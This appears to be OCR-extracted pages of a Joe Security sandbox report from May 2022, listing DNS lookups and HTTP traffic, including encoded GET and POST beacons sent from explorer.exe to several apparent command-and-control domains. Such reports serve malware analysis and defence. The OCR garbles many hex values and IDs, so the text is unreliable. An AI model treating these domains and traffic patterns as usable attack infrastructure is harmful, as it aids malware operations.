May 27, 2022 17:29:41.748725891 CEST

May 27, 2022 17:29:59.500695944 CEST

May 27, 2022 17:30:05.520665884 CEST

May 27, 2022 17:30:10.752101898 CEST

May 27, 2022 17:30:16.579817057 CEST

DNS Answers
Timestamp Source IP
May 27, 2022 8.8.8.8

17:25:32.098737001 CEST

May 27, 2022 8.8.8.8
17:25:47.196666002 CEST

May 27, 2022 8.8.8.8
17:26:01.812160969 CEST

May 27, 2022 8.8.8.8
17:26:06.406650066 CEST

May 27, 2022 8.8.8.8
17:27:24.961823940 CEST

Copyright Joe Security LLC 2022

Source IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Dest IP Trans ID

192.168.2.3 0x88f7

192.168.2.3 Oxbba9

192.168.2.3 0x759b

192.168.2.3 Oxfeba

192.168.2.3 Ox3a8c

Dest IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

Oxcal8

Oxcal8

Oxcal8

0xb9c

0xb9c

0xb9c

0xb9c

0xa70

0xa70

0xa70

0xa70

OxcO0lc

0x12b3

0x1465

0x3c41

0x6165

0x8477

0x9fe3

0x8e25

Oxb6ba

Oxa71l

Oxfadf

0x13c0

Oxac10

Name
dilshadkha

n.duia.ro

dilshadkha
n.duia.ro

dilshadkha
n.duia.ro

dilshadkha
n.duia.ro

www.brandp
ay.xyz

OP Code

Standard query
0

Standard query
(0

Standard query
(0

Standard query
0

Standard query
(0)

Standard query
(0

Standard query
(0)

Standard query
(0)

Standard query
©)

Standard query
©)

Standard query
©)

Standard query
)
Standard query
(©)
Standard query
(©)
Standard query
)
Standard query
(©)
Standard query
)
Standard query
)
Standard query
(©)
Standard query
)
Standard query
(©)
Standard query
(©)
Standard query
(©)
Standard query
)

CName

Name

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.2264a.com

www.heavym
ettlelawyers.com

www.jdhwh2
nbiw234.com

www.jdhwh2
nbiw234.com

www.jdhwh2
nbiw234.com

www.interlink-
travel.com

www.interlink-
travel.com

WWW.Screes
hot.com

WWW.070iwlp.xyz

www.shcylz
c.com

www.salond
utaxi.com

www.liveaf
unday.xyz

www.sekola
hkejepang.com

Address

91.193.75.133

91.193.75.133

91.193.75.133

91.193.75.133

3.64.163.50

Type

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

Class

A (IP address) IN

(0x0001)

A (IP address) IN

(0x0001)

A (IP address) IN

(0x0001)

A (IP address) IN

(0x0001)

A (IP address) IN

(0x0001)
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Timestamp

May 27, 2022
17:27:33.046371937 CEST

May 27, 2022
17:27:34.073144913 CEST

May 27, 2022
17:27:36.282948971 CEST

May 27, 2022
17:27:38.101828098 CEST

May 27, 2022
17:27:38.101828098 CEST

May 27, 2022
17:27:43.264148951 CEST

May 27, 2022
17:28:00.700830936 CEST

May 27, 2022
17:28:00.700830936 CEST

May 27, 2022
17:28:06.564562082 CEST

May 27, 2022
17:28:06.564562082 CEST

May 27, 2022
17:28:06.564562082 CEST

May 27, 2022
17:28:11.836102009 CEST

May 27, 2022
17:28:11.836102009 CEST

May 27, 2022
17:28:17.954860926 CEST

May 27, 2022
17:28:17.954860926 CEST

May 27, 2022
17:28:23.115675926 CEST

May 27, 2022
17:28:29.121670961 CEST

May 27, 2022
17:28:40.636276960 CEST

May 27, 2022
17:28:41.636045933 CEST

May 27, 2022
17:28:42.651958942 CEST

May 27, 2022
17:28:44.683697939 CEST

May 27, 2022
17:28:45.660510063 CEST

May 27, 2022
17:28:46.653044939 CEST

May 27, 2022
17:28:47.683701992 CEST

May 27, 2022
17:28:49.683775902 CEST

May 27, 2022
17:28:50.685674906 CEST

May 27, 2022
17:28:51.685244083 CEST

May 27, 2022
17:28:52.731858015 CEST

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Copyright Joe Security LLC 2022

Dest IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

0x6460

0x6460

0x6460

Oxed29

Oxed29

0x3b07

0x3e5b

0x3e5b

0x3d3d

0x3d3d

0x3d3d

0x76d8

0x76d8

0xc522

0xc522

0x9bf5

0x557

Oxcal8

Oxcal8

Oxcal8

Oxcal8

0xb9c

0xb9c

0xb9c

0xb9c

0xa70

0xa70

0xa70

Reply Code

Server failure (2)

Server failure (2)

Server failure (2)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Name

www.gafcbo
oster.com

www.gafcho
oster.com

www.gafcbo
oster.com

www.brawlh
allacodest
ore.com

shop.freew
ebstore.org

www.toping
s33.com

www.liveaf
unday.xyz

liveafunday.xyz

www.siberup.xyz

redirect.n
atrocdn.com

natroredir
ect.natroc
dn.com

www.kishan
shree.com

kishanshree.com

www.rashee
dabossmove
s.com

rasheedabo
ssmoves.com

WWW.070iwlp.xyz

www.ratebill.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

CName

none

none

none

shop.freewebstore.

org

liveafunday.xyz

redirect.natrocdn.c
om

natroredirect.natro
cdn.com

kishanshree.com

rasheedabossmov
es.com

none

none

none

none

none

none

none

none

none

none

none

Address

none

none

none

52.17.85.125

162.0.230.89

172.96.186.204

85.159.66.93

132.148.165.111

160.153.136.3

134.122.201.217

137.220.133.198

none

none

none

none

none

none

none

none

none

none

none

Type

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)
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Timestamp

May 27, 2022
17:28:54.777863979 CEST

May 27, 2022
17:28:55.754422903 CEST

May 27, 2022
17:28:55.754422903 CEST

May 27, 2022
17:29:06.413223982 CEST

May 27, 2022
17:29:06.413223982 CEST

May 27, 2022
17:29:11.933219910 CEST

May 27, 2022
17:29:11.987289906 CEST

May 27, 2022
17:29:12.015453100 CEST

May 27, 2022
17:29:23.910990000 CEST

May 27, 2022
17:29:30.921365023 CEST

May 27, 2022
17:29:36.648458958 CEST

May 27, 2022
17:29:41.774302959 CEST

May 27, 2022
17:29:59.676589012 CEST

May 27, 2022
17:30:05.546082020 CEST

May 27, 2022
17:30:05.546082020 CEST

May 27, 2022
17:30:10.781694889 CEST

May 27, 2022
17:30:10.781694889 CEST

May 27, 2022
17:30:16.603677988 CEST

May 27, 2022
17:30:16.603677988 CEST

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

HTTP Request Dependency Graph

Copyright Joe Security LLC 2022

Trans ID

O0xa70

OxcOlc

OxcOlc

0x12b3

0x12b3

0x1465

0x3c41

0x6165

0x8477

0x9fe3

0x8e25

Oxb6ba

Oxa7l

Oxfadf

Oxfadf

0x13c0

0x13c0

Oxacl0

Oxacl0

Reply Code

Server failure (2)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Name error (3)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName
www.thepow none
erofanopen

question.com

www.2264a.com

www.2264a.com

www.heavym heavymettlelawyer

ettlelawyers.com s.com
heavymettl
elawyers.com
www.jdhwh?2 none
nbiw234.com
www.jdhwh2 none
nbiw234.com
www.jdhwh?2 none

nbiw234.com

www.interlink-
travel.com

www.interlink-
travel.com

WWW.screes
hot.com

www.o70iwlp.xyz

www.shcylz
c.com

www.salond
utaxi.com

www.salond
utaxi.com

www.liveaf
unday.xyz

liveafunday.xyz

liveafunday.xyz

www.sekola sekolahkejepang.c
hkejepang.com  om

sekolahkej
epang.com

Address

none

104.21.4.45

172.67.131.167

34.102.136.180

none

none

none

154.220.100.142

154.220.100.142

185.53.179.170

134.122.201.217

23.82.37.10

188.114.96.3

188.114.97.3

172.96.186.204

103.247.11.212

Type

A (IP address)

A (IP address)

A (IP address)

CNAME

(Canonical

name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

Class

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)
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e www.brandpay.xyz

e www.brawlhallacodestore.com

* www.topings33.com

o www.liveafunday.xyz

e www.siberup.xyz

e www.kishanshree.com

e www.rasheedabossmoves.com

* Www.070iwlp.xyz

e www.ratebill.com

o www.2264a.com

* www.heavymettlelawyers.com

e www.interlink-travel.com

HTTP Packets
Session ID Source IP Source Port
0 192.168.2.3 49800

. kBytes . .
Timestamp T Direction
May 27, 2022 7556 ouT
17:27:24.994398117
CEST
May 27, 2022 7556 IN
17:27:25.013569117
CEST
Session ID Source IP Source Port
1 192.168.2.3 49809
Timestamp L Direction

transferred

May 27, 2022 7560 ouT
17:27:38.147244930
CEST

Copyright Joe Security LLC 2022

Destination IP

3.64.163.50 80

Destination IP

52.17.85.125 80

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?c2MH6DeP=hgAcLcCQcJ9fw2P/Tuk0sK1oy/luL6ulzsG1lwPPsT2rq6CikgixxXMntvIFJI21PsUjiz&h
FQL=JXUhrvXxUhF4 HTTP/1.1

Host: www.brandpay.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 410 Gone

Server: openresty

Date: Fri, 27 May 2022 15:27:25 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 37 0d Oa 3c 68 74 6d 6¢ 3e 0a 0d Oa 39 0d Oa 20 20 3c 68 65 61 64 3e 0a 0d Oa 34 63 0d Oa 20 20 20 20 3c
6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6 74 65 6e 74 3d 27 30 3b 20 75
72 6¢ 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 62 72 61 6e 64 70 61 79 2e 78 79 7a 2f 27 20 2f 3e 0a 0d Oa 61 0d Oa 20 20 3¢
2f 68 65 61 64 3e 0a 0d Oa 38 0d Oa 3c 2f 68 74 6d 6¢ 3e Oa 0d Oa 30 0d Oa Od Oa

Data Ascii: 7<html>9 <head>4c <meta http-equiv="refresh' content="0; url=http://www.brandpay.xyz/' />a </head>8</ht
ml>0

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?c2MH6DeP=SjFSW0qH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291CcOnRXdmghio7b0swgPTE4uOj94VU&h
FQL=JXUhrvXxUhF4 HTTP/1.1

Host: www.brawlhallacodestore.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred
May 27, 2022 7561
17:27:38.190680027
CEST
Session ID Source IP
10 192.168.2.3

. kBytes
LHICEE: transferred
May 27, 2022 7702
17:28:12.139801025
CEST

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49830

Direction

ouT

Data

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Fri, 27 May 2022 15:27:38 GMT

Content-Type: text/html

Content-Length: 178

Connection: close

Location: https://www.brawlhallacodestore.com/np8s/?c2MH6DeP=SjFSWOqH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291
CcOnRXdmghbio7b0swgPTE4uQj94VU&hFQL=JXUhrvXxUhF4

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3¢ 62 6f 64 79 20 62 67 63 6f 6¢ 6f 72 3d 22 77 68
69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢
79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74
65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>301 Moved Permanently</titte></head><body bgcolor="white"><center><h1>301 Moved
Permanently</h1></center><hr><center>nginx</center></body></html>

Destination IP Destination Port Process
132.148.165.111 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1
Host: www.kishanshree.com
Connection: close
Content-Length: 36482
Cache-Control: no-cache
Origin: http://www.kishanshree.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.kishanshree.com/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 63 32 4d 48 36 44 65 50 3d 67 6e 66 51 70 74 36 58 4f 66 77 74 6¢ 4c 68 48 70 55 66 50 63 5a 31 53 4e 62 49
47 58 75 4d 4f 47 70 48 5a 43 53 70 70 7e 59 79 33 28 6e 68 66 7e 45 34 69 55 46 54 54 76 35 78 33 28 69 6¢ 54 72 32
51 55 6e 66 50 44 70 44 47 5a 6b 35 30 34 31 69 6f 45 42 52 4b 66 45 31 38 45 6e 44 79 4f 6f 63 6d 33 41 6b 33 41 64
7252 47 75 70 5a 61 4c 53 39 46 62 45 42 69 50 45 76 62 76 53 36 63 63 50 45 4f 57 6¢ 6e 73 58 71 73 51 36 61 69 4e
6a 4d 51 38 53 46 35 63 66 6f 49 51 77 4c 6f 6b 49 4a 6e 4e 30 32 42 46 4¢ 35 77 54 38 6f 44 4e 30 47 74 79 42 32 6f 32
6f 50 7a 4b 68 69 5a 43 6f 35 37 39 65 39 67 57 50 44 6d 5f 50 79 78 44 42 44 32 47 4d 72 67 41 46 55 6a 73 6e 68 6f 65
4c 36 72 6f 4f 79 69 51 73 44 50 52 4e 77 68 38 7e 69 48 33 33 44 57 71 4d 4e 6¢ 78 5a 45 44 2d 78 67 72 55 41 72 42
77 41 44 39 66 46 56 49 4f 58 77 6f 51 52 39 4e 4a 79 30 79 68 65 51 33 75 79 66 6¢ 48 51 61 6e 4b 75 49 78 70 70 30
35 6f 6a 57 61 70 34 7a 46 49 61 31 7e 43 62 50 6d 6¢ 32 4f 4f 69 32 38 41 7a 28 76 59 75 76 34 71 4d 4c 4b 46 6f 59 6¢
7e 6¢ 70 6¢ 4d 38 33 35 7e 31 5a 79 71 44 4d 65 63 6f 53 67 43 41 65 77 6a 74 4f 74 65 6f 6e 78 5a 63 76 6a 4a 78 43 38
74 4e 67 48 41 4f 46 37 43 56 66 58 79 32 58 53 4b 6b 39 32 7a 55 4c 70 37 79 53 69 32 67 52 4b 54 43 41 5f 75 47 6e
51 74 65 62 53 52 41 66 74 74 45 43 52 62 67 79 58 44 34 6d 6b 72 45 6e 36 61 2d 35 65 34 78 28 67 62 6d 62 77 37 4b
48 48 49 6b 43 67 78 52 70 5a 51 39 30 55 69 51 75 34 71 7a 31 41 5a 4d 6¢ 2d 65 4a 75 52 58 61 47 2d 34 59 4d 34 56
3968784179 7766 71 7576 78 51 6e 44 50 37 69 66 79 51 67 73 52 43 48 45 4c 30 32 6b 4e 61 33 77 6a 30 7a 41 66
64 5f 64 56 65 2d 7a 6e 53 35 46 70 52 49 72 6b 42 6d 63 6d 6d 32 34 35 46 30 56 55 76 32 63 47 68 5f 38 37 57 36 43
74 63 4f 55 4d 63 56 42 65 6d 64 66 54 58 76 67 45 68 4f 55 54 76 4d 74 4f 79 4b 72 78 54 4f 4c 75 6e 32 39 74 48 72 6e
7a 6a 4a 63 59 39 32 4b 55 61 4b 6e 4e 62 75 48 4a 52 53 57 53 4c 49 43 66 37 75 65 77 6e 45 70 6e 32 6¢ 4d 54 32 30
4d 6558 67 6b 62 6¢ 75 78 77 57 54 4d 39 78 31 30 56 28 67 62 43 53 49 43 74 43 6b 38 63 30 7a 30 57 76 64 28 4a 6b
66 75 69 55 55 6d 42 4f 7a 6b 55 50 55 4b 79 4d 35 68 78 6b 33 6a 64 75 49 72 58 54 4a 34 53 6b 58 50 71 28 38 54 45
76 59 71 72 48 7a 69 33 6b 51 32 4e 47 73 6¢ 55 39 4b 45 70 33 69 48 4e 28 5a 78 67 69 61 4b 42 55 6a 71 59 72 71 35
48 6¢ 4d 6f 64 74 52 33 51 47 58 4b 63 62 41 66 5f 74 57 38 32 62 7a 6e 58 48 4a 42 70 73 50 5a 6f 4b 6¢ 76 6b 6f 39 43
57 77 62 68 44 5a 76 65 75 31 63 6¢ 66 61 6e 75 6b 74 58 4a 35 55 39 51 55 45 71 28 56 30 4a 76 53 4a 79 39 39 6¢ 6¢
76 78 33 44 56 44 62 75 71 45 69 6e 57 6b 76 76 6b 79 33 68 45 50 36 4d 34 41 44 76 49 74 33 32 6b 39 6¢ 73 76 48 73
70 64 4b 73 5f 57 5f 58 6a 30 46 4e 7a 57 4d 31 31 4a 59 4e 68 50 36 4c 71 54 39 75 4d 51 49 63 4d 68 66 39 6¢ 38 54
36 65 76 4d 46 46 41 30 30 4e 4e 4b 78 38 66 51 53 6b 6e 65 38 4d 35 37 65 62 6b 73 33 78 30 4f 53 58 62 62 77 52 57
61 7e 55 52 49 64 6b 53 61 67 45 79 39 6b 6b 35 50 6d 64 4e 39 45 5a 5a 78 59 74 77 31 4b 69 50 74 56 4e 35 77 51 55
45 48 62 76 46 49 69 69 45 71 4a 49 72 43 46 6d 55 61 66 78 47 67 7a 57 72 70 30 75 31 50 4b 32 66 31 43 7a 6b 34 4b
73337653 31 4b 78 34 70 36 42 72 4c 44 31 32 54 68 69 69 58 64 50 47 36 30 74 76 4f 52 66 7a 6¢ 77 50 35 75 4c 6a
74 51 5a 41 56 6e 35 77 34 75 54 6¢ 64 75 33 68 57 33 69 42 51 4c 63 36 43 48 66 53 32 6f 65 4b 49 4b 62 62 39 75 45
383967 7142 28 45 77 5f 6¢ 45 4b 43 67 49 70 38 64 44 37 4a 50 4a 46 69 69 51 61 77 34 34 70 72 71 75 4e 71 41 33
78 52 66 36 73 38 44 39 30 65 39 6e 7a 45 4b 31 48 65 67 74 46 77 6d 33 64 67 7a 48 66 72 55 58 37 39 6b 72 67 74 53
70 50 6f 70 6e 66 6b 46 74 67 74 64 46 57 6f 59 30 58 62 6¢ 36 68 44 34 64 50 4a 5a 2d 41 41 56 5f 4e 31 53 52 31 42 6f
32 32 30 46 58 43 65 6¢ 4b 31 79 63 44 53 46 30 6f 35 71 39 53 52 73 78 4c 49 36 56 56 30 35 43 50 4f 58 75 74 78 55
44 54 6e 73 57 64 45 66 36 4f 4e 70 33 72 5a 34 6d 4d 4c 4f 35 4f 76 5f 4f 41 45 35 65 68 63 6d 61 69 7a 41 63 55 66 58
4e 70 47 67 39 4b 6b 46 37 65 51 34 6d 63 31 61 77 61 79 67 54 59 30 4e 4b 63 32 42 52 69 73 67
Data Ascii: c2MH6DeP=gnfQpt6XOfwtlLhHpUfPcZ1SNbIGXuMOGpHZCSpp~Yy3(nhf~E4iUFTTv5x3(ilTr2QUn
fPDpDGZk5041i0EBRKfE18ENDYyO0ocm3Ak3AdrRGupZal SOFbEBIPEVbvS6ccPEOWInsXgsQ6aiNjMQ8SF5cfolQwlLo
kIInNO2BFL5WT80DNOGtyB2020PzKhiZC0579e9gWPDm_PyxDBD2GMrgAFUjsnhoel 6roOyiQsDPRNwh8~iH33DWqM
NIXZED-xgrUArBwAD9fFVIOXwoQRINJyOyheQ3uyflHQanKulxpp050jWap4zFlal~CbPmI200i28Az(vYuv4qMLKF
0oYI~IpIM835~1ZyqDMecoSgCAewjtOteonxZcvjIXxC8tNgHAOF7CViXy2XSKk92zULp7ySi2gRKTCA_uGnQtebSRAf
ttECZbgyXD4mkrEn6a-5e4x(gbmbw7KHHIkCgxRpZQ90UiQu4qz1AZMI-eJuRXaG-4YM4AVIhxAywfquvxQnDP7ifyQ
gsRCHELO2kNa3wj0zAfd_dVe-znS5FpRIrkBmcmm245F0VUv2cGh_87W6CtcOUMcVBemdfTXvgEhOUTVMtOyKrxTOL
un29tHrnzjJcY92KUaKnNbuHIRSWSLICf7uewnEpn2IMT20MeXgkbluxwWTM9x10V(gbCSICtCk8c0zOWvd(Jkfuil
UmBOzkUPUKyM5hxk3jdulrXTJ4SkXPq(8 TEVYqrHzi3kQ2NGsIU9KEp3iHN(ZxgiaKBUjq Yrg5HIModtR3QGXKcbAf
_tW82bznXHJIBpsPZoKlvko9CWwbhDZveulclfanuktXJ5U9QUEQ(V0JIvSJIy99llvx3DVDbugEinWkvvky3hEPE6M4AD
VvIt32k9lsvHspdKs_W_XjOFNzZWM11JYNhP6LgT9uMQIcMhf9I8T6evMFFAOONNKXx8fQSkne8M57ebks3x00SXbbwRW
a~URIdkSagEy9kk5PmdN9EZZxYtwi1KiPtVN5wQUEHbvVFIiiEqJIrCFmUafixGgzWrpOulPK2f1Czk4Ks3vS1Kx4p6Br
LD12ThiiXdPG60tvORfzIWP5uLjtQZAVn5w4uTldu3hW3iBQLc6CHfS20eKIKbbOuE89ggB(Ew_|IEKCglp8dD7JPJF
iiQaw44prquNgA3xRf6s8D90e9nzEK 1HegtFwm3dgzHfrUX79krgtSpPopnfkFtgtdFWoYO0Xbl6hD4dPJZ-AAV_N1S
R1B0220FXCelK1vcDSF00509SRsxLI6VV05CPOXutxUDTnsWAEf6ONp3rZ4mMLO50v OAESehcmaizAchXNDGuQI;k
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i kBytes i i F7eQ4mclawaygTYONKc2BRisgvxjvxJRVODHbOdcugqTKKhrQke-5T(I7qDgeLx6BDWxVmv5NhHO8LEX~fzEjXWZuT4

U ED ancrerred Diection BffRy60Dnouzqkp_val_rM3e0_7sJfoiMemdKxZcifolowl4zINeWsbVZSEEMBZVI9AdVy0i24ADrzJJUUWSKBWDXt
TID924Yzkf7ycfxIEbzK4A4l-KvTc2bbvHW(g-RSA9Y OKVAGIzvJAnRhwWDgmIpRhE41Ys1VbldnOpADPAVSFuUSIV37
PyFyOw8gE2CpxFmiq2rMbUZE2Q8k4JFNSHjcM92EgLR9dxXAf127QDCgl6aH2~dzCOBncpXSsQMN6EIROCRReugL7wU
g6sLs8_~T66(ruGhFA4VTc_CuWXBrELoVSzpoSrVhSuX7xnQ1jBilY-h0J3E2h1LOr6aljFbFSEBAALINUOCHabiXGW
4ywvffqOE6fwB9U0Z6hLXVOTLesN12Wqu2pe00TTf51Rm(mtjS Ykvnvjhgk~jflGShQB-DDTOSOLAJX104JDstNZPq
laqCa6RBtvtvoTpwNIKwBbZWAU7DVSJu-~OS42HxHYJIdtPBEZwfcUtM983I1V4cY SmG04xQK5xSgP5Bh3UuBX_FZ9
beGwAYUb-TfOKOJNRRYBn4HcOjSWNmW~4wNMAUKFIUe12X3ohertrelwgieY Ck8uwJJodrnsoFUZOpZvpdYLISY1BQ
4sHaO9CMkM8VYEoBvBxrX424wK4fgjyulsoEeY9fmtpwzRotzUIAghnO9xa8JIStEhwNUwpyRdTHcxsaVEOrWIH83H
EbPbWDqcfOfEDbjHY SEKkp6XW45d9WwWVS05fjt3XaveFChIFoYO(_sZbjJAvGtg2MhNZWvuFOPIWV4VjWYn1wHo89Q
f5KGIfKTN20RCmM95hDLQ3aHSYXEKgAUNET3eqH4eG1_s3pWXRVFWO0siyreBPFPEVjFhhDT6VruCtEXTmXXKDtLucrv
rGSfjj8jL4uCTQOIpj20WNuJT2chEWBKopmHCLVBHGcCuh9GWa8040ugm8OULXVEj70(004cAVWOmMJIGYOICN_jUGve
3zYSzNgc0ZJdWO9VF6YobsJ4-bKYnLp4OgXv8PIaAJQEIFIvd9_8mWJIXy12JbHZpcEEdV7r(Am_Al472pGlyUfqVpE
hajv0Zt5F1m5imYplWYse7vDjnpr56CX187QdjprhMGBiAdbtrejthOF2(aWFC13jpFLmdnCezzaZ8mf8eeOSulall
aew9KL8gn0ebAtqpnK2FzC1NgFXssG_4DmfeM6JaeMcanFIzNiu3b0dIJ7JuVVHIhG6IOtH4exp~7FZ4 WMkS2GWA9
fsVb_1200imrgh1kOOXFEwWImXTFztQJpoAyztcfGjdCArG9yl8vmpfOHFoMYx(LH9cc3tjgBDSIMUSyO Q40xc82wqE
hXDKLOTWY XBfihlsrbimDkPQ2EtvoXx8CP06rLDWD1MuGR9IRPrPS78Q3plhPJyWG(WScBqi43Tk6XkS7Bym9hblio
NP1Vylut5hw237S39fKHrVTFiR1yzceYWuBILHXEQOOb28JntJbvjoiS-IRE9B7iAb4ZH8hkA339jSucC(cs5Ye8iX
Cspx9j1~gBynkpQVjTKEHO70X4dKJDAo_cVt70F3qY7ONJThtIJF1JC97TGX88CHPtoL23fXrTUveloVDfWfsi0YzZXE
0OgkUVJISRFvWgoJnzraGDhyrcgF_1HpGQyDEca~N80jVFg4GvjiONFjzwa3vLTY6iakT6fPWcRWZSJVSo7Uo2mJaMo0
